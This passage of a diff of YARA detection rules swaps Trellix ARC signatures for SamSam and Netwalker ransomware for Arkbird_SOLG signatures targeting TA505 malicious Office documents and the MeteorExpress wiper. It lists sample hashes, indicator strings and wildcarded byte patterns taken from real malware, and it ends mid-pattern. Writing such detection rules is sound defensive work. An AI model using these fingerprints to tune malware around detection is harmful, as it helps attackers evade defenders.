+		$s6 = ";\";0;d;" fullword ascii
+		$s7 = "T0p0v0|0" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB) and all of them
+		uint16(0)==0x5a4d and filesize <900KB and (pe.imphash()=="ff6dd5f31dd7c538ebc02542f09f4280" and pe.exports("setColor") or all of them )
 }
 import "pe"
 
-rule TRELLIX_ARC_Samsamransom2016 : RANSOMWARE FILE
+rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Trellix ARC"
-		author = "Christiaan Beek | McAfee ATR Team"
-		id = "1c7985d0-d01c-52f7-8819-e038ccc01212"
-		date = "2018-01-25"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_SamSam.yar#L3-L52"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "9e8034ec0ded82ad82b625d6d1b9918761decef0fd42a253722cdc620b355e1a"
+		description = "invitation.doc"
+		author = "Arkbird_SOLG"
+		id = "10562979-0b90-5752-89b8-f0d35121df41"
+		date = "2019-11-21"
+		modified = "2019-11-21"
+		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L52-L83"
+		license_url = "N/A"
+		logic_hash = "7d2cbc0a505c245aa3e9e8a76cebc7ea7dbd4bd3be26a858f731b96791293ba5"
 		score = 75
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/SamSam"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "45e00fe90c8aa8578fce2b305840e368d62578c77e352974da6b8f8bc895d75b"
+		quality = 50
+		tags = "FILE"
+		hash1 = "a197c6de8734044c441438508dd3ce091252de4f98df2016b006a1c963c02505"
 
 	strings:
-		$x1 = "Could not list processes locking resource. Failed to get size of result." fullword wide
-		$s2 = "Could not list processes locking resource." fullword wide
-		$s3 = "samsam.del.exe" fullword ascii
-		$s4 = "samsam.exe" fullword wide
-		$s5 = "RM_UNIQUE_PROCESS" fullword ascii
-		$s6 = "KillProcessWithWait" fullword ascii
-		$s7 = "killOpenedProcessTree" fullword ascii
-		$s8 = "RM_PROCESS_INFO" fullword ascii
-		$s9 = "Exception caught in process: {0}" fullword wide
-		$s10 = "Could not begin restart session.  Unable to determine file locker." fullword wide
-		$s11 = "samsam.Properties.Resources.resources" fullword ascii
-		$s12 = "EncryptStringToBytes" fullword ascii
-		$s13 = "recursivegetfiles" fullword ascii
-		$s14 = "RSAEncryptBytes" fullword ascii
-		$s15 = "encryptFile" fullword ascii
-		$s16 = "samsam.Properties.Resources" fullword wide
-		$s17 = "TSSessionId" fullword ascii
-		$s18 = "Could not register resource." fullword wide
-		$s19 = "<recursivegetfiles>b__0" fullword ascii
-		$s20 = "create_from_resource" fullword ascii
-		$op0 = { 96 00 e0 00 29 00 0b 00 34 23 }
-		$op1 = { 96 00 12 04 f9 00 34 00 6c 2c }
-		$op2 = { 72 a5 0a 00 70 a2 06 20 94 }
+		$x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\basecamp" fullword wide
+		$x2 = "*\\G{42DC991A-7E1B-4254-B210-CDD3DDCFD365}#2.0#0#C:\\Users\\1\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide
+		$x3 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide
+		$x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\basecamp" fullword wide
+		$s5 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
+		$s6 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide
+		$s7 = "glColor.dll" fullword ascii
+		$s8 = "magne.dll" fullword ascii
+		$s9 = "InitScope.dll" fullword wide
+		$s10 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" fullword wide
+		$s11 = "CopyFiles=@EP0NGJ8D.GPD,@EP0NGN8D.GPD,@EP0NGX8D.GPD,@EP0NCJ8D.CMB,@EP0NOJ8D.DXT,@EP0NOE10.DLL,@EP0NM4RC.DLL,@EP0NRE8D.DLL" fullword wide
+		$s12 = "CopyFiles=@EP0NGJ8C.GPD,@EP0NGN8C.GPD,@EP0NGX8C.GPD,@EP0NCJ8C.CMB,@EP0NOJ8C.DXT,@EP0NOE09.DLL,@EP0NM4RB.DLL,@EP0NRE8C.DLL" fullword wide
+		$s13 = "vspub2.dll-" fullword ascii
+		$s14 = "pictarget" fullword ascii
+		$s15 = "Public Declare Function ZooDcom Lib        \"vspub1.dll\" Alias \"IKAJSL\" () As Integer" fullword ascii
+		$s16 = "\"Epson\"=\"http://go.microsoft.com/fwlink/?LinkID=36&prd=10798&sbp=Printers\"" fullword wide
+		$s17 = "EP0NM4RC.DLL = 1" fullword wide
+		$s18 = "EP0NOE10.DLL = 1" fullword wide
+		$s19 = "EP0NRE8C.DLL = 1" fullword wide
+		$s20 = "EP0NM4RB.DLL = 1" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and pe.imphash()=="f34d5f2d4577ed6d9ceec516c1f5a744" and (1 of ($x*) and 4 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0xcfd0 and filesize <3000KB and 1 of ($x*) and 4 of them
 }
 import "pe"
 
-rule TRELLIX_ARC_Samsam_Ransomware_Latest : RANSOMWARE FILE
+rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_2 : FILE
 {
 	meta:
-		description = "Latest SamSA ransomware samples"
-		author = "Christiaan Beek"
-		id = "716b9282-013e-5194-8518-2fa1a4007095"
-		date = "2018-01-23"
-		modified = "2020-08-14"
-		reference = "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_SamSam.yar#L54-L105"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "88e344977bf6451e15fe202d65471a5f75d22370050fe6ba4dfa2c2d0fae7828"
-		logic_hash = "06703479795fdef64813471f11b275df544c90d5bcece4817d415cd504d7b317"
-		score = 50
-		quality = 68
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/SamSam"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "invitation (1).xls"
+		author = "Arkbird_SOLG"
+		id = "e6328342-0d08-58a3-befe-15de41649763"
+		date = "2019-11-21"
+		modified = "2019-11-21"
+		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L85-L116"
+		license_url = "N/A"
+		logic_hash = "84c7f064fb813934e397d81dad8af6288cb919e046cd2bb16f9ca6dc348c43c2"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "270b398b697f10b66828afe8d4f6489a8de48b04a52a029572412ae4d20ff89b"
 
 	strings:
-		$s1 = "bedf08175d319a2f879fe720032d11e5" fullword wide
-		$s2 = "ksdghksdghkddgdfgdfgfd" fullword ascii
-		$s3 = "osieyrgvbsgnhkflkstesadfakdhaksjfgyjqqwgjrwgehjgfdjgdffg" fullword ascii
-		$s4 = "5c2d376c976669efaf9cb107f5a83d0c" fullword wide
-		$s5 = "B917754BCFE717EB4F7CE04A5B11A6351EEC5015" fullword ascii
-		$s6 = "f99e47c1d4ccb2b103f5f730f8eb598a" fullword wide
-		$s7 = "d2db284217a6e5596913e2e1a5b2672f" fullword wide
-		$s8 = "0bddb8acd38f6da118f47243af48d8af" fullword wide
-		$s9 = "f73623dcb4f62b0e5b9b4d83e1ee4323" fullword wide
-		$s10 = "916ab48e32e904b8e1b87b7e3ced6d55" fullword wide
-		$s11 = "c6e61622dc51e17195e4df6e359218a2" fullword wide
-		$s12 = "2a9e8d549af13031f6bf7807242ce27f" fullword wide
-		$s13 = "e3208957ad76d2f2e249276410744b29" fullword wide
-		$s14 = "b4d28bbd65da97431f494dd7741bee70" fullword wide
-		$s15 = "81ee346489c272f456f2b17d96365c34" fullword wide
-		$s16 = "94682debc6f156b7e90e0d6dc772734d" fullword wide
-		$s17 = "6943e17a989f11af750ea0441a713b89" fullword wide
-		$s18 = "b1c7e24b315ff9c73a9a89afac5286be" fullword wide
-		$s19 = "90928fd1250435589cc0150849bc0cff" fullword wide
-		$s20 = "67da807268764a7badc4904df351932e" fullword wide
-		$op0 = { 30 01 00 2b 68 79 33 38 68 34 77 65 36 34 74 72 }
-		$op1 = { 01 00 b2 04 00 00 01 00 84 }
-		$op2 = { 68 09 00 00 38 66 00 00 23 55 53 00 a0 6f 00 00 }
+		$x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\AFFA0BDC.tmp" fullword wide
+		$x2 = "C:\\Users\\J\\AppData\\Local\\Temp\\AFFA0BDC.tmp" fullword wide
+		$x3 = "C:\\Windows\\system32\\FM20.DLL" fullword ascii
+		$x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd" fullword ascii
+		$x5 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" fullword ascii
+		$x6 = "C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" fullword ascii
+		$x7 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide
+		$x8 = "*\\G{BA45F137-16B2-487D-9A21-F38179C0576C}#2.0#0#C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide
+		$s9 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
+		$s10 = "lIySgefa86jIfdEkSZVDoSs5BDkcalCieNBN4EqfVaEs2wWD4OjpTiOBqDrL3d9WCaDAKZpoJPRnoacfQPhucmy69axznNmRbRY12v3ez5PdAAnpAl5m5NUqKHBKCYb5" ascii
+		$s11 = "35mvkZ9ZvIttuHSTUKWZCdOsh5j4Y1p2pJ3vi5onOXnMcEPIUIK1UWAYq3noPeaDtAdUOxKYvIlNZbqMpJjqpxhCidfpQ9GJXStKA44w7UFlKV9oMK8f5Tn6tKMKsviw" ascii
+		$s12 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide
+		$s13 = "verkar.dll" fullword ascii
+		$s14 = "intc.dll" fullword ascii
+		$s15 = "YjAygups4wPzNU7lNIGBuFbv6Triw8rxEPLSjrYSKXdUV8QuzbwJvdHshfBvdh66er47iobvTX1FCqI8d6RuKRcBhsLdYCOC1hPEdTllabYHlcZ1FDsgyLuwoCZYM7Fq" ascii
+		$s16 = "MinuetsOs.dll" fullword wide
+		$s17 = "KaBYL8xLRpN7VMzibXEzxh2GetwfB6MY9k3dRCNncC5eiyKNTaTrcoUDi4TrLrkULX7KSvAHjrw4lXxPRSvBmvWUzz5WRwKTskBtBa4xIlhT1ZruGeI36SIqamksANYW" ascii
+		$s18 = "XmhvJDfd16Hxk6eRMKJ7sqYIVneFVN7iUzRF8or7LKNKW9bhf5a7V5OGwIIvyJrm8yMUoITytLvRMoVWm7z1NawYTkjzP5HbtBLxwp3GkLMjJ74iWVjBjzI8cWadyuRy" ascii
+		$s19 = "Sx3mdokmfv27AYhtFublOb5Exec1r1b5LAAbsRHrjLKTWiG4K9dKXbuQBxY9mt4nu7u9ygaWWTcczlRpGhpsXzgKgTI52IfZRxyZWHFD8pXd9sqqOJBedLy4ZT3OHe5n" ascii
+		$s20 = "C:\\Windows\\system32\\stdole2.tlb" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and pe.imphash()=="f34d5f2d4577ed6d9ceec516c1f5a744" and (8 of them ) and all of ($op*)) or ( all of them )
+		uint16(0)==0xcfd0 and filesize <5000KB and 1 of ($x*) and 4 of them
 }
-import "pe"
-
-rule TRELLIX_ARC_Netwalker_Ransomware : RANSOMWARE FILE
+rule ARKBIRD_SOLG_WIP_Meteorexpress_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Netwalker ransomware"
-		author = "McAfee ATR Team"
-		id = "6fe75a64-77b8-5cb8-9365-a5336d4d1617"
-		date = "2020-03-30"
-		modified = "2020-11-20"
-		reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_netwalker.yar#L3-L28"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "11da4b57f8d9ed1fdf053053a51870af2cbf4062cc1340087ee70c3e92a1baf6"
+		description = "Detect MeteorExpress/BreakWin wiper"
+		author = "Arkbird_SOLG"
+		id = "6dffc8c9-ccd0-5cf3-8f3c-38adad8508b2"
+		date = "2021-08-06"
+		modified = "2021-08-07"
+		reference = "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-07/BreakWin/WIP_MeteorExpress_Aug_2021_1.yara#L1-L26"
+		license_url = "N/A"
+		logic_hash = "80e40479d699b988d1282e407edd51b5e3ea796ebf380d82f5a5aafaacafe75d"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		note = "The rule doesn't detect the samples packed with UPX"
+		quality = 71
+		tags = "FILE"
+		hash1 = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b"
+		hash2 = "074bcc51b77d8e35b96ed444dc479b2878bf61bf7b07e4d7bd4cf136cc3c0dce"
+		hash3 = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4"
+		hash4 = "9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$pattern = { 8B????8B????89??C7????????????EB??8B????52E8????????83????8B????8B??5DC3CCCCCCCCCCCCCCCCCCCCCCCC558B??83????C7????????????83??????74??83??????72??83??????75??8B????E9????????C7????????????8B????33??B9????????F7??83????89????8B????8B????8D????51E8????????83????89????83??????0F84????????C7????????????C7????????????C6??????C6??????C6??????8B????3B????0F84????????8B????2B????39????73??8B????89????EB??8B????2B????89????8B????89????C7????????????8B????03????8B????2B??89????74??83??????7E??83??????7D??C7????????????8B????03????89????8B????518B????03????528B????03????50E8????????83????8B????03????89????83??????75??6A??8D????528B????03????50E8????????83????8B????83????89????8B????03????89????E9????????8B????8B????89??83??????74??8B????52E8????????83????8B????89??C7????????????8B????8B??5DC3CCCCCCCC558B??51B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????81????????????75??8B????83????89????C7????????????EB??C7????????????B9????????6B????8B????0FB6????BA????????C1????8B????0FB6????C1????0B??B8????????D1??8B????0FB6????C1????0B??BA????????6B????8B????0FB6????C1????0B??BA????????C1????8B????89????B9????????6B????8B????0FB6??????BA????????C1????8B????0FB6??????C1????0B??B8????????D1??8B????0FB6??????C1????0B??BA????????6B????8B????0FB6??????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FB6??????B9????????C1????8B????0FB6??????C1????0B??BA????????D1??8B????0FB6??????C1????0B??B9????????6B????8B????0FB6??????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????B9????????6B????8B????0FBE????BA????????C1????8B????0FBE????C1????0B??B8????????D1??8B????0FBE????C1????0B??BA????????6B????8B????0FBE????C1????0B??BA????????6B????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????C1????8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????D1??8B????89????B8????????6B????8B????0FBE??????B9????????C1????8B????0FBE??????C1????0B??BA????????D1??8B????0FBE??????C1????0B??B9????????6B????8B????0FBE??????C1????0B??B9????????6B????8B????89????8B??5DC3CCCCCC558B??B8????????6B????8B????C7????????????B8????????6B????8B????C7????????????B8????????6B????8B????0FB6????B9????????C1????8B????0FB6????C1????0B??BA????????D1??8B????0FB6????C1????0B??B9????????6B????8B????0FB6????C1????0B??B9????????6B????8B????89????BA????????6B????8B????0FB6??????B8????????C1????8B????0FB6??????C1????0B??B9????????D1??8B????0FB6??????C1????0B??B8????????6B????8B????0FB6??????C1????0B??B8????????6B????8B????89????5DC3CCCCCC558B??83????83??????75??E9????????8B????508D????51E8????????83????BA????????6B????8B????8B????83????B8????????6B????8B????89????B9????????6B????8B????83??????75??B9????????6B????8B????8B????83????BA????????6B????8B????89????83??????77??C7????????????EB??8B????83????89????8B????3B????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??EB??C7????????????EB??8B????83????89????83??????73??8B????03????0FB6??8B????0FB6??????33??8B????03????88??EB??8B????83????89????8B????83????89????8B????83????89????E9????????8B??5DC3CCCCCCCCCCCCCCCC558B??83????C7????????????EB??8B????83????89????83??????7D??8B????8B????8B????8B????89??????EB??C7????????????EB??8B????83????89????83??????0F8E????????B9????????6B????B8????????C1????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????C1????BA????????C1????8B??????33??????C1????B9????????C1????BA????????C1????8B??????33??????C1????0B??BA????????C1????89??????B8????????6B????BA????????C1????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????C1????BA????????6B????8B??????03??????BA????????C1????89??????B8????????C1????B9????????C1????8B??????33??????C1????B8????????C1????B9????????C1????8B??????33??????C1????0B??B9????????C1????89??????BA????????C1????B8????????6B????8B??????03??????B8????????C1????89??????B9????????6B????B8????????C1????8B??????33??????C1????BA????????6B????BA????????C1????8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????C1????B9????????6B????8B??????03??????B9????????C1????89??????BA????????6B????B9????????C1????8B??????33??????C1????B8????????6B????B8????????C1????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B????B9????????6B????8B??????03??????B9????????6B????89??????B8????????6B????BA????????6B????8B??????33??????C1????BA????????6B????BA????????6B????8B??????33??????C1????0B??BA????????6B????89??????B9????????D1??BA????????6B????8B??????03??????BA????????D1??89??????B8????????6B????BA????????D1??8B??????33??????C1????B9????????6B????B9????????D1??8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????D1??B8????????6B????8B??????03??????B8????????D1??89??????B9????????6B????B8????????D1??8B??????33??????C1????BA????????6B????BA????????D1??8B??????33??????C1????0B??BA????????6B????89??????B9????????6B????B8????????6B????8B??????03??????B8????????6B????89??????BA????????6B????B9????????6B????8B??????33??????C1????B9????????6B????B9????????6B????8B??????33??????C1????0B??B9????????6B????89??????B8????????6B????BA????????6B????8B??????03??????BA????????6B????89??????B9????????6B????B8????????6B????8B??????33??????C1????B8????????6B????B8????????6B????8B??????33??????C1????0B??B8????????6B????89??????BA????????6B???? }
-		$pattern2 = { CCCCCCCCCCA1????????C3CCCCCCCCCCCCCCCCCCCC538B??????5533??5785??74??8B??????85??74??8B????85??74??C1????50E8????????83????89??85??74??8B????5633??85??74??5653E8????????83????85??74??8B????85??74??8D??????89??????5150E8????????83????85??74??8B????8B??8B??????89????FF????8B????463B??72??39????B9????????5E0F44??5F8B??5D5BC35F5D33??5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC535556578B??????85??74??83????74??8B????85??74??8B??????85??74??33??85??74??8B??????660F1F??????85??74??8B??53FF????E8????????EB??E8????????8D????8B??FF????8B??53FF??83????85??75??463B????72??5F5E5D33??5BC35F5E5DB8????????5BC3CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC6A??FF??????FF??????E8????????83????C3CCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??56E8????????8B????50E8????????83????85??75??A1????????6A??83????5650E8????????83????85??75??56E8????????83????85??74??8D????66??????74??83????83????75??33??5EC383????74??A1????????6A??83????5150E8????????83????85??74??B8????????5EC3CCCCCCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????5674??A1????????83??????74??8B??????85??74??56E8????????8B??????????83????83????75??83??????74??66????????75??0FB7??83????72??83????76??83????66??????76??6A??8D????5650E8????????83????85??74??B8????????5EC333??5EC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??A1????????83??????74??51E8????????8B??83????85??74??8B??????????6A??83????5651E8????????83????85??74??B8????????5EC356E8????????83????33??5EC3CCCCCCCCCCCCCC535556576A??E8????????8B??83????85??0F84????????8B??660F1F??????0FB7????83????51E8????????8B??83????85??74??0FB7????51FF????57E8????????83????83????????????74??A1????????83??????74??6A??83????5750E8????????83????85??74??E8????????8B????3B????74??6A??51E8????????8B??83????85??74??E8????????6A??538B????FF??E8????????538B??????????FF??57E8????????83????8B??03??85??0F85????????55E8????????83????E8????????6A??8B??????????FF??E9????????CCCCCCCCCCCCCC83????5533??565739??????????0F84????????8B??????85??0F84????????8B??????85??0F84????????53E8????????8B??????????FF??83??????8B??74??E8????????FF????8B??????????FF??89??????E8????????8D??????516A??8B??????????8D??????516A??57FF??85??74??8B??????89????83????74??E8????????8B??????????FF??2B??3D????????77??83??????75??5B5F5E8B??5D83????C3BD????????5B5F5E8B??5D83????C35F5E33??5D83????C383????558B??????85??0F84????????5333??5733??89??????89??????E8????????8D??????518D??????8B??????????5157576A??FF????FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????56E8????????8D??????518D??????8B??????????51FF??????FF??????6A??FF????FF??85??74??33??39??????76??8B??????0F1F??????????E8????????8B??????68????????FF????8B??????????FF??FF??89??????8D????????????5053E8????????8B??83????85??74??FF??????68????????E8????????83????89????474683????3B??????72??8B??????FF??????E8????????83????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??E8????????FF????8B??????????FF??463B??72??53E8????????83????5EE8????????8D??????516A??FF????8B??????????FF??5F5B85??74??8D??????50FF????E8????????83????E8????????FF????8B??????????FF??55E8????????83????33??5D83????C2????CCCCCCCCCCCCCCCCCCCCCCCC83????568B??????85??74??E8????????8D??????516A??8B??????????56FF??85??74??8D??????5056E8????????83????E8????????568B??????????FF??33??5E83????C2????CCCCCCCCCCCC83????83????????????5356570F84????????A1????????83??????0F84????????55E8????????68????????6A??6A??8B??????????FF??8B??89??????85??0F84????????660F1F????????????C7??????????????C7??????????????C7??????????????E8????????8D??????518D??????8B??????????518D??????516A??6A??6A??6A??55FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????E8????????8B??????8D??????518D??????8B??????????518D??????51FF??????566A??6A??55FF??85??0F84????????33??33??89??????39??????0F86????????0F1F??????????FF??E8????????83????85??75??FF????E8????????83????85??74??E8????????68????????FF??8B??????????55FF??89??????85??74??6A??E8????????8B??83????85??74??8B??????8D????????????5189????8B??????5389????E8????????8B??83????85??74??5568????????E8????????83????89????478B??????8B??????83????4089??????3B??????0F82????????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??0F1F????E8????????FF????8B??????????FF??463B??72??53E8????????83????FF??????E8????????83????E8????????68????????8B??????????FF??E9????????5D5F5E33??5B83????C2????CCCCCC83????53558B??????565785??0F84????????8B????8D??????516A??55C7??????????????FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????6A??8D??????6A??50E8????????33??83????B8????????66????????39??????0F8E????????8B??????8D??????5083????C7??????????????438B??89??????0F10??????8B??510F11??FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????8B??????8D??????C7??????????????33??52508B??FF????83????????0F84????????FF??????E8????????83????85??0F85????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????33?? }
-		$pattern3 = { CCCCCCCCCC558B??FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????6